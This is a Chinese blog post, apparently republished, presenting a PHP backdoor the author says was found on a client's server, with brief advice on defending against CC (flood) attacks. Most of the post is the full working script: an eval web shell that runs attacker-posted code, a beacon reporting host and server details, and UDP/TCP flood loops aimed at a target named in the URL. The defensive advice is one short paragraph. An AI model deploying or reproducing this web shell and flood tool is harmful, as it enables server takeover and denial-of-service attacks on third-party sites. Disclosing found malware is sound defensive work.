PHP Socket编程 之 php cc攻击代码与防范方法

Posted 笠航

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP Socket编程 之 php cc攻击代码与防范方法相关的知识,希望对你有一定的参考价值。

今天把客户查找后门的时候发现的代码,特分享下,看到这样的代码就是黑客用来攻击别人访问,不断访问指定网站,导致网站无法访问,我们的网站就是帮凶了,同时我们自己的网站或服务器也会无法访问,所以一定要注意防范。

cc攻击代码,支持udp

<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET[‘http‘];
$rand = $_GET[‘exit‘];
$exec_time = $_GET[‘time‘];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET[‘rat‘])<>0)
{
echo $_GET[‘rat‘].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER[‘SERVER_NAME‘])."|".php_uname()."|".$_SERVER[‘SERVER_SOFTWARE‘].$_GET[‘rat‘];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>

所谓的CC攻击就是对方利用程序或一些代理对您的网站进行不间断的访问,造成您的网站处理不了而处于当机状态

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

以上是关于PHP Socket编程 之 php cc攻击代码与防范方法的主要内容,如果未能解决你的问题,请参考以下文章

PHP Socket编程 之使用fsockopen()函数

PHP Socket编程 之 抓取数据遇到Transfer-Encoding chunked

php防攻击

php socket编程入门

Socket编程 之使用fsockopen()函数

2020/1/31 PHP代码审计之目录穿越漏洞